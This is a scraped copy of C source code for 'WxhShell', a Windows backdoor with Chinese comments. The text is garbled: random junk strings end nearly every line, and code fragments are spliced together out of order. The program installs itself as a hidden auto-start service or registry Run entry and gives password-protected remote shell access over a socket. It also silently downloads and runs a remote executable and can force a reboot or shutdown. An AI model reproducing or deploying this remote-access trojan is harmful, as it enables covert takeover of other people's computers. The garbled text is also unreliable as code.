    closesocket(wsh); G[[hC[}I  
    ExitThread(0); ;hcOD4or  
    } ^kElb;d  
    break; |;[%ZE"  
    } 5VXI/Lw#  
  // 获取shell  IeZgF>  
  case 's': { FK2* O  
    CmdShell(wsh); B,f4<  
    closesocket(wsh); ~Ip-@c}'j  
    ExitThread(0); OZ'=Xtbn  
    break; o(w xu)  
  } ap7ZT7KW  
  // 退出 a'U}.w}  
  case 'x': { T/b%,!N)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z%t"~r0PS  
    CloseIt(wsh); D^Cpgha  
    break; e=yQFzQT)  
    } ?f{--|V  
  // 离开 , '_y@9?I  
  case 'q': { Xc!0'P0T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R}S@u@mOE  
    closesocket(wsh); M zWVsV  
    WSACleanup(); lebwGW,!  
    exit(1); !i`HjV0wS  
    break; @'Y^A  
        } s_j ?L  
  } m,TN%*U!  
  } $}*bZ~  
Hfw*\=p  
  // 提示信息 Ac'0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e{*-_j "I  
} #KOr-Yg|U  
  } 1F*3K3T {  
"; PW#VHC  
  return; .*3.47O  
} _$oN"pj  
fC\Cx;q-  
// shell模块句柄 \N[Z58R !z  
int CmdShell(SOCKET sock) N"+o=nS  
{ bu j}pEI  
STARTUPINFO si; 9MI~yIt`L  
ZeroMemory(&si,sizeof(si)); 4=T.rVS[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^>3q@,C]c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sFvu@Wm'7W  
PROCESS_INFORMATION ProcessInfo; I &jiH)  
char cmdline[]="cmd"; q3CcXYY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ecZT|X4u  
  return 0; HoTg7/iK  
} ? _>L<Y  
FM80F_G^z  
// 自身启动模式 WFYbmfmV  
int StartFromService(void) AxsTB9/  
{ ,?OWwm&J  
typedef struct O :'ENoQ:&  
{ gHB*u!w7Z  
  DWORD ExitStatus; 8`0/?MZ)   
  DWORD PebBaseAddress; rQuozbBb  
  DWORD AffinityMask;  ./iC  
  DWORD BasePriority; b#17N2xkT  
  ULONG UniqueProcessId; ~g6`Cp`  
  ULONG InheritedFromUniqueProcessId; !b=jD;<  
}   PROCESS_BASIC_INFORMATION; ~o+:M0)}  
jgz}  
PROCNTQSIP NtQueryInformationProcess; Zs$Qo->F  
x+=Ko  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \E!a=cL!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #jc+2F,+{  
qt.G_fOz  
  HANDLE             hProcess; cg]\R1Gm  
  PROCESS_BASIC_INFORMATION pbi; d&@>P&AT  
lVw77bZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n B5:X  
  if(NULL == hInst ) return 0; b%TS37`^[  
YM:;mX5B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '1jG?D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -F-RWs{yS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TN+iv8sT  
Q7~9~  
  if (!NtQueryInformationProcess) return 0; w,,QXJe{Z_  
N 9.$--X}D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dm")\"5\?  
  if(!hProcess) return 0; _N-.=86*  
!bPsJbIo>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gc y'"d"  
B*zR/?U^  
  CloseHandle(hProcess); HZG^o^o1l+  
dv_& ei  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m$bX;F}T  
if(hProcess==NULL) return 0; v}Gpw6   
1&Fty'p  
HMODULE hMod; 4GiHp7Y&A  
char procName[255]; sp2"c"_+  
unsigned long cbNeeded; :FUefW m  
}Sxuc/%:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0G`FXj}L  
sp/l-a  
  CloseHandle(hProcess); ^"U-\cx  
_4#8o\  
if(strstr(procName,"services")) return 1; // 以服务启动 IQ5H`o?[B  
#)qn$&.H  
  return 0; // 注册表启动  *b$8O  
} P$ a `8~w  
gG 9e.++:  
// 主模块 %X--`91|u  
int StartWxhshell(LPSTR lpCmdLine) 5Oa`1?C1  
{ NB["U"1[^E  
  SOCKET wsl; RW?F{Jy{  
BOOL val=TRUE; tU5Z?QS  
  int port=0; pq3W.7z;b  
  struct sockaddr_in door; THQd`Lj  
({R-JkW: ;  
  if(wscfg.ws_autoins) Install(); l[MP|m#  
~_!lx  
port=atoi(lpCmdLine); |#&{`3$CG[  
X J+y5at  
if(port<=0) port=wscfg.ws_port; pBd_Ba N  
d>RoH]K4  
  WSADATA data; ^-*q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l@h|os  
MM+xm{4l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gJ; *?Uq(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @y|ZXPC#  
  door.sin_family = AF_INET; S,=#b 4\#%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pd3=^ Zi  
  door.sin_port = htons(port); h.QsI`@f  
C\Y%FTS:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \1[=t+/  
closesocket(wsl); i42M.M6D$  
return 1; vxey $Ir  
} ^AI5SjOUx  
];3]/b)&  
  if(listen(wsl,2) == INVALID_SOCKET) { 56|o6-a^  
closesocket(wsl); ^PNE6  
return 1; xg|\\i  
} Y<x;-8)*  
  Wxhshell(wsl); s_/a1o  
  WSACleanup(); e[Tu.$f-  
lj U|9|v  
return 0; w,6zbI/  
W N5`zD$  
} b3h3$kIYN  
p4Wy2.&Q  
// 以NT服务方式启动 3:S>MFRn.3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hS( )OY  
{ H}nPaw]G  
DWORD   status = 0; F+c4v A})  
  DWORD   specificError = 0xfffffff; H*gX90{!2  
 3ih3O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8zOoVO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &B3[:nS2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _#jR6g TY  
  serviceStatus.dwWin32ExitCode     = 0; Dc2U+U(J  
  serviceStatus.dwServiceSpecificExitCode = 0; _ $ Wj1h  
  serviceStatus.dwCheckPoint       = 0; (i 3=XfZ!C  
  serviceStatus.dwWaitHint       = 0; fcim4dfP  
^|P/D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -$x5[6bN  
  if (hServiceStatusHandle==0) return; ;Nd,K C0k  
r?:zKj8/u  
status = GetLastError(); nn1T5;  
  if (status!=NO_ERROR) bm</qF'T6  
{ (3_m[N\F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b_'VWd:am  
    serviceStatus.dwCheckPoint       = 0; [110[i^  
    serviceStatus.dwWaitHint       = 0; /OX;3" +1  
    serviceStatus.dwWin32ExitCode     = status; vC# *w,  
    serviceStatus.dwServiceSpecificExitCode = specificError; PsV1btq]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gsSUmf1  
    return; |5;:3K+  
  } bXx2]E227  
Y`U[Y Hx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N084k}io  
  serviceStatus.dwCheckPoint       = 0; Xf"B\%,(`  
  serviceStatus.dwWaitHint       = 0; THOXs; k0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^L,Uz:[J  
} 0m,3''Q5lO  
RRasX;zK  
// 处理NT服务事件,比如:启动、停止 0sQt+_Dl%L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S260h,(,  
{ ;RElG>#$  
switch(fdwControl) w[/_o,R  
{ 2fa1jl  
case SERVICE_CONTROL_STOP: .8v[ss6:  
  serviceStatus.dwWin32ExitCode = 0; iE}Lw&x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ++d%D9*V<  
  serviceStatus.dwCheckPoint   = 0; g5\EVcHkz  
  serviceStatus.dwWaitHint     = 0; %mO.ur>21  
  { v J_1VW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =B/Ac0Y  
  } )R- e^Cb  
  return; kdam]L:9  
case SERVICE_CONTROL_PAUSE: L] syD n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8F;r$i2  
  break; S, *  
case SERVICE_CONTROL_CONTINUE: <Rno ;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GY~Q) Z  
  break; Hy*_4r  
case SERVICE_CONTROL_INTERROGATE: W`d\A3v  
  break; m?@0Pf}xa  
}; bMrR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pO10L`|  
} d~>d\K%v  
^@4$O|3Wh'  
// 标准应用程序主函数 H[u[3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WlF}R\N!  
{ T\ cJn>kCn  
Cb1fTl%  
// 获取操作系统版本 v)!C Dpw  
OsIsNt=GetOsVer(); ^&Re-{ES]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "UVqHW1%K  
=8p *Ijs  
  // 从命令行安装 1Fs:&*=  
  if(strpbrk(lpCmdLine,"iI")) Install(); hE9UWa.Q>  
QrX 5Kwq  
  // 下载执行文件 Mqk[+n  
if(wscfg.ws_downexe) { dB=aq34l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n6 VX0R  
  WinExec(wscfg.ws_filenam,SW_HIDE); :mI[fQ  
} vz *'1ugaA  
^(:Z*+X~>  
if(!OsIsNt) { m0 a<~  
// 如果时win9x,隐藏进程并且设置为注册表启动 "lT>V)NB'  
HideProc(); .Z2zv*  
StartWxhshell(lpCmdLine); T 8. to  
} rDEd MT  
else 7/UdE:~]*=  
  if(StartFromService()) ITmW/Im5  
  // 以服务方式启动 (v2.8zrJ  
  StartServiceCtrlDispatcher(DispatchTable); U~}cib5W5  
else #A@d;U%  
  // 普通方式启动 FL/395 <:  
  StartWxhshell(lpCmdLine); ,5 ylrE  
Tg-HR8}X  
return 0; g(b:^_Nep  
} PAcbC| y  
Di^7@}kQS  
~t,-y*=  
g3h:oQCS  
=========================================== ]CnqPLqL  
-:P`Rln  
E979qKl  
(U GmbRf&  
c1 ~=   
<:YD.zAh|  
" &UV=<Az {  
.>;}GsN&  
#include <stdio.h> fN-y8  
#include <string.h> XVRtfo  
#include <windows.h> V1 :aR3*!  
#include <winsock2.h> h{BO\^6x  
#include <winsvc.h> qbunP!  
#include <urlmon.h> pRTdP/(OQ  
F VVpyB|  
#pragma comment (lib, "Ws2_32.lib") q@6Je(H  
#pragma comment (lib, "urlmon.lib") by{ *R  
~|!f6=  
#define MAX_USER   100 // 最大客户端连接数 mz<wYV*  
#define BUF_SOCK   200 // sock buffer giNyD4uO  
#define KEY_BUFF   255 // 输入 buffer i4p2]Nr t  
M9J^;3Lrh  
#define REBOOT     0   // 重启 n@e[5f9?x  
#define SHUTDOWN   1   // 关机 oKlOcws}  
NW*qw q  
#define DEF_PORT   5000 // 监听端口  (r!d4  
NU#rv%p  
#define REG_LEN     16   // 注册表键长度 ;<~lzfs  
#define SVC_LEN     80   // NT服务名长度 B;6N.X(K  
@?gN &Z)I  
// 从dll定义API iJsa;|2/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^;xO-;q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |#rP~Nj)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <zdo%~ba  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P?Fm<s:  
s(3iGuT  
// wxhshell配置信息 /EXub U73  
struct WSCFG { L3 VyW8Y  
  int ws_port;         // 监听端口 P-*=e8z{  
  char ws_passstr[REG_LEN]; // 口令 Ou'<9m!9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9>1 $Jv3  
  char ws_regname[REG_LEN]; // 注册表键名 `tjH#W`  
  char ws_svcname[REG_LEN]; // 服务名 xSal=a;k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (!iGQj(m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rQ!X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p#T^o]+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "v9i;Ba>+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w]Fi:kV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _;x7vRWmN  
FhyA_U%/nF  
}; 5( }Qg9%  
A!\-e*+W=  
// default Wxhshell configuration GSh~j-C'  
struct WSCFG wscfg={DEF_PORT, 4-dV%DgC  
    "xuhuanlingzhe", {k#RWDespy  
    1, 4\?GA`@  
    "Wxhshell", C $r]]MSj  
    "Wxhshell", G'\x9%  
            "WxhShell Service", ?t{ 2y1  
    "Wrsky Windows CmdShell Service", 61}hB>TT:  
    "Please Input Your Password: ", (wtw1E5X  
  1, ^9zFAY.|  
  "http://www.wrsky.com/wxhshell.exe", h+!   
  "Wxhshell.exe" /t<C_lLM  
    }; J BN_Upat  
oD=6D9c?  
// 消息定义模块 (XDK&]U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~LKX2Q:S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sIZ|N"2]A*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .!&S{;Vv?W  
char *msg_ws_ext="\n\rExit."; F~Z~OqCS  
char *msg_ws_end="\n\rQuit."; +#/`4EnI  
char *msg_ws_boot="\n\rReboot..."; O@gHx!L  
char *msg_ws_poff="\n\rShutdown..."; \a|bx4M  
char *msg_ws_down="\n\rSave to "; O(Tdn;1  
e[ 8AdE  
char *msg_ws_err="\n\rErr!"; w'-J24>=  
char *msg_ws_ok="\n\rOK!"; EEJsNF  
i7RW8*  
char ExeFile[MAX_PATH]; t'F_1P^*/  
int nUser = 0; Wxxnc#;lv  
HANDLE handles[MAX_USER]; ?[ts<Ltp  
int OsIsNt; 1~x=bphS  
JnT1-=t.  
SERVICE_STATUS       serviceStatus; 52L* :|b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p 7YfOUo k  
5 1\N+  
// 函数声明 ]("5O V5  
int Install(void); wv~?<DF  
int Uninstall(void); yye( ^  
int DownloadFile(char *sURL, SOCKET wsh); W,[b:[~v  
int Boot(int flag); B9-Nb 4  
void HideProc(void); )^ky @V  
int GetOsVer(void); Js7D>GWP!  
int Wxhshell(SOCKET wsl); h{sY5d'D  
void TalkWithClient(void *cs); LE" t'R   
int CmdShell(SOCKET sock); Y.<&phv  
int StartFromService(void); p^s k?E  
int StartWxhshell(LPSTR lpCmdLine); )L%i"=<Bdy  
&>Ko}?w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J6) &b7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nOd'$q  
DsY$  
// 数据结构和表定义 #n[1%8l,  
SERVICE_TABLE_ENTRY DispatchTable[] = Yp_R+a^  
{ 9b0M'x'W5  
{wscfg.ws_svcname, NTServiceMain}, M_4:~&N$  
{NULL, NULL} $2M dxw5  
}; WG_20JdJY  
N!`8-ap\^  
// 自我安装 \3ZQ:E}5  
int Install(void) l5m5H,`  
{ MZ8jL,a^  
  char svExeFile[MAX_PATH]; S4jt*]w5b  
  HKEY key; l^F%fIRp)  
  strcpy(svExeFile,ExeFile); FZEK-]h.  
Zy -&g:  
// 如果是win9x系统,修改注册表设为自启动 ZL-YoMHc+_  
if(!OsIsNt) { PKx ewd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R`RLq1WA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {c3u!} mW  
  RegCloseKey(key); YJ&K0 %R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bYKyR}e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W:8*Z8?7  
  RegCloseKey(key); u I \zDR  
  return 0; ||lI_B  
    } .o2]ndT/J  
  } [;Q8xvVZ'  
} 8"#Ix1#  
else { b$24${*'  
sp0j2<$a  
// 如果是NT以上系统,安装为系统服务 CFW\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b 83__i  
if (schSCManager!=0) w :w  
{ + !I7(gL  
  SC_HANDLE schService = CreateService -bamNw>|  
  ( MBbycI,  
  schSCManager, +n ${6/  
  wscfg.ws_svcname, }^Unx W  
  wscfg.ws_svcdisp, e%v<nGN.-  
  SERVICE_ALL_ACCESS, jDp]}d|f)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J#0oL_xY#  
  SERVICE_AUTO_START, C^ hHt,&  
  SERVICE_ERROR_NORMAL, x=>+.'K  
  svExeFile, ">n38:?R  
  NULL, [U]ouh)  
  NULL, nC3U%*l  
  NULL, uh~/ybR  
  NULL, hm%'k~  
  NULL 2>.2H  
  ); OZF^w[ `w  
  if (schService!=0) zs@#.OEH  
  { 9q2 >_Mv  
  CloseServiceHandle(schService); UH<nc;.B  
  CloseServiceHandle(schSCManager); ; )Vro  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s7FJJTn  
  strcat(svExeFile,wscfg.ws_svcname); N F[v/S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JeR8Mb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r|XNS>V ,$  
  RegCloseKey(key); <bwsK,C  
  return 0; UXXN\D  
    } uhuwQS=X  
  } ZD9UE3-  
  CloseServiceHandle(schSCManager); ~h~K"GbC?  
} Fr}e-a  
} H?M#7K~[  
AQ!FJ(X(  
return 1; 'oZ/fUl|7  
} ({ 7tp!@  
DRo@gYDn  
// 自我卸载 y&0&K 4aa  
int Uninstall(void) uA?_\z?  
{ #rZk&q  
  HKEY key; Tr1#=&N0  
yqF$J"=|  
if(!OsIsNt) { nb:J"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  W t&tu2  
  RegDeleteValue(key,wscfg.ws_regname); BX|+"AeF  
  RegCloseKey(key); "+REv_:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L%8>deE>;D  
  RegDeleteValue(key,wscfg.ws_regname); p_$03q>oQ  
  RegCloseKey(key); X517PT8O  
  return 0; W^2Q"c#7F  
  } {d\erG(  
} ()}B]?  
} 1n! Jfs U  
else { t6;Ln().Hw  
1NO<K`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ExDH@Lb  
if (schSCManager!=0) Jy'ge4]3  
{ H!Y`?Rc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R|T_9/#)  
  if (schService!=0) M%wj6!5  
  { '|0Dt|$  
  if(DeleteService(schService)!=0) { *M_.>".P  
  CloseServiceHandle(schService); P-L<D!25  
  CloseServiceHandle(schSCManager); >Au]S `  
  return 0; p~h= ]o'i  
  } 4-`C !q  
  CloseServiceHandle(schService); =|n NC  
  } DT #1*&-  
  CloseServiceHandle(schSCManager); VVdgNT|}W  
} G?)vqmJ%  
} Eb`U^*A  
A6'G%of  
return 1; J!,5HJh1  
} ]6{G;f$  
29g("(}TK  
// 从指定url下载文件 (=${@=!z  
int DownloadFile(char *sURL, SOCKET wsh) Sd.i1w &  
{ [8/E ;h  
  HRESULT hr; 3LZ0EYVL  
char seps[]= "/"; @]Ye36v0#L  
char *token; hu-fwBK  
char *file; byM/LE7)  
char myURL[MAX_PATH]; +XU*NAD,!  
char myFILE[MAX_PATH]; NYD#I{h  
[{_JO+)+n  
strcpy(myURL,sURL); 6uQfe? aD  
  token=strtok(myURL,seps); 9hI4',(rE  
  while(token!=NULL) o}p6qB=;1  
  { YJ]]6 K+  
    file=token; 3OV#H%  
  token=strtok(NULL,seps); xW{_c[oA  
  } 8=Di+r  
@`U78)]  
GetCurrentDirectory(MAX_PATH,myFILE); %@L(A1"#D  
strcat(myFILE, "\\"); lhAwTOn`Q  
strcat(myFILE, file); lY_E=K]  
  send(wsh,myFILE,strlen(myFILE),0); *k'oP~:fT  
send(wsh,"...",3,0); XpWqL9s_E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VAc-RaA  
  if(hr==S_OK) g% :Q86u  
return 0; GmN} +(  
else $=n|MbFl  
return 1; /Cr0jWu _  
j_SRCm~:  
} 5tR<aIf  
6a PZW  
// 系统电源模块 3|RfX  
int Boot(int flag) )Y@  
{ ^;GJ7y&,d  
  HANDLE hToken; \;p5Pagx0-  
  TOKEN_PRIVILEGES tkp; Zi/l.=9n  
0@1AH<  
  if(OsIsNt) { q@P5c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wo84V!"A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bT>% *  
    tkp.PrivilegeCount = 1; 8QDRlF:;<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~=P&wBnJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RX:\@c&  
if(flag==REBOOT) { kRnh20I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $lci{D32,  
  return 0; 7ZS 5u+o  
} M)6_Ta l  
else { ,T_HE3K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =35^k-VS  
  return 0; VB*$lx X  
} zl46E~"]x  
  } y[S 5  
  else { UDV,co  
if(flag==REBOOT) { nCEt*~t9VE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]i\D*,FfU  
  return 0; t/HMJ  
} Uf{cUY,j_  
else { QvK/31*QG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V{;Mh u`+  
  return 0; |~k=:sSz{  
} [zIX&fPk$  
} \?h +  
#B|`F?o  
return 1; M[D`)7=b  
} #ldNWwvRGj  
4(2}O-~  
// win9x进程隐藏模块 sN 1x|pkN  
void HideProc(void)  =w0Rq~  
{ gSK (BP|  
+60zJ 4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &fq-U5zH  
  if ( hKernel != NULL ) Skl1%`  
  { '@RlKMnN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); / O6n[qj|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z}yntY]n  
    FreeLibrary(hKernel); d~uK/R-KD  
  } -ZH]i}$  
U/Z!c\r  
return; jE2k\\<a  
} &CF74AN#  
cysYjuI i  
// 获取操作系统版本 F4>}mIA  
int GetOsVer(void) ItHKpTe r  
{ Lo @mQ  
  OSVERSIONINFO winfo; 0@{K'm /  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZU7e1VaZM  
  GetVersionEx(&winfo); c'&3[aa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8263  
  return 1; A!H6$-W|p  
  else KWCA9.w4q  
  return 0; i0Qg[%{9#  
} I<z /Y?  
v-Ggf0RF  
// 客户端句柄模块 \06fP4?  
int Wxhshell(SOCKET wsl) }3j/%oN.(  
{ ]IXKoJUf  
  SOCKET wsh; PDvqA{  
  struct sockaddr_in client; 8b !&TP~m1  
  DWORD myID; !0 `44Gbq  
9s6, &'  
  while(nUser<MAX_USER) Xoml  
{ 52/^>=t  
  int nSize=sizeof(client); "d/x`Dx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B4pheKZ2  
  if(wsh==INVALID_SOCKET) return 1; 5G'X\iR  
^4x(a&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *bDuRr?v9  
if(handles[nUser]==0) 7&/iuP$.  
  closesocket(wsh); 7=u\D  
else LR]P?  
  nUser++; /@lXQM9 T  
  } GfD!Z3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pY!@w0.  
0^*4LM|z  
  return 0; ?Q="w5OOD  
} Uc!} D  
O1Ey{2Q  
// 关闭 socket mWsVOf>g  
void CloseIt(SOCKET wsh) POfvs]  
{ ;gTdiwfgZ=  
closesocket(wsh); <tMiI)0%  
nUser--; sKB])mf]  
ExitThread(0); |L.QIr,jCC  
} `Q<hL{AH  
<<6i6b  
// 客户端请求句柄 5'?K(Jdmp  
void TalkWithClient(void *cs) D&0*+6j((  
{ <`9Q{~*=t  
)i0\U  
  SOCKET wsh=(SOCKET)cs; Ra&HzK?  
  char pwd[SVC_LEN]; `n Y!nh6!  
  char cmd[KEY_BUFF]; eEb(TG~,Y  
char chr[1]; A &~G  
int i,j; i*#Gq6qZq  
h35x'`g7+r  
  while (nUser < MAX_USER) { 2Y\,[$z  
B<xBuW  
if(wscfg.ws_passstr) { -@Mr!!t?N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K;,n?Q w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +IK~a9t  
  //ZeroMemory(pwd,KEY_BUFF); 7]@vPr;:  
      i=0; y'*^ '  
  while(i<SVC_LEN) { b4Zkj2L  
HY~\e|o  
  // 设置超时 dMCV !$  
  fd_set FdRead; 5Z ] `n  
  struct timeval TimeOut; d2'9C6t  
  FD_ZERO(&FdRead); ~#h@.yW^JN  
  FD_SET(wsh,&FdRead); 8h=H\v^f  
  TimeOut.tv_sec=8; CA7tI >y_  
  TimeOut.tv_usec=0; MM3X! tq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uwsGtgd&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z`o}xV  
[~` ; .7~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A 7'dD$9  
  pwd=chr[0]; 6vQAeuz<Fq  
  if(chr[0]==0xd || chr[0]==0xa) { KVvIo1$N  
  pwd=0;  MScjq  
  break; iS&fp[Th  
  } *Tl"~)'t~  
  i++; -d[9mS  
    } 6{8qATLR  
q*{i/=~  
  // 如果是非法用户,关闭 socket )Uw QsP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :[#HP66[O5  
} z `T<g!Y  
dz5a! e [  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "S(m1L?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &"BmCDOq  
?=dyU(  
while(1) { &Y\Vh}  
ELk$ lm&@  
  ZeroMemory(cmd,KEY_BUFF); {oy(08 `6  
yyPkjUy[  
      // 自动支持客户端 telnet标准   MlkTrKdGi  
  j=0; -A(] ",*J  
  while(j<KEY_BUFF) { 1 9$ufod  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); puG$\D-[  
  cmd[j]=chr[0]; *^bqpW2$q  
  if(chr[0]==0xa || chr[0]==0xd) { R;.zS^LL  
  cmd[j]=0; sEt5!&  
  break; y>'^<xk  
  } OthQ)&pq X  
  j++; cR[)[9}  
    } W#$ pt>h)  
-\b~R7VQ  
  // 下载文件 N8m|Y]^H#  
  if(strstr(cmd,"http://")) { +_|M*%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vl5}m  
  if(DownloadFile(cmd,wsh)) B=%cXW,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  :J`:Q3@  
  else 68V66:0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [h""AJ~t  
  } )}\jbh>RH  
  else { .n[!3X|d  
kLU$8L  
    switch(cmd[0]) { XE[~! >'  
  {wih)XNY  
  // 帮助 }\|$8~  
  case '?': {  0$b)@  
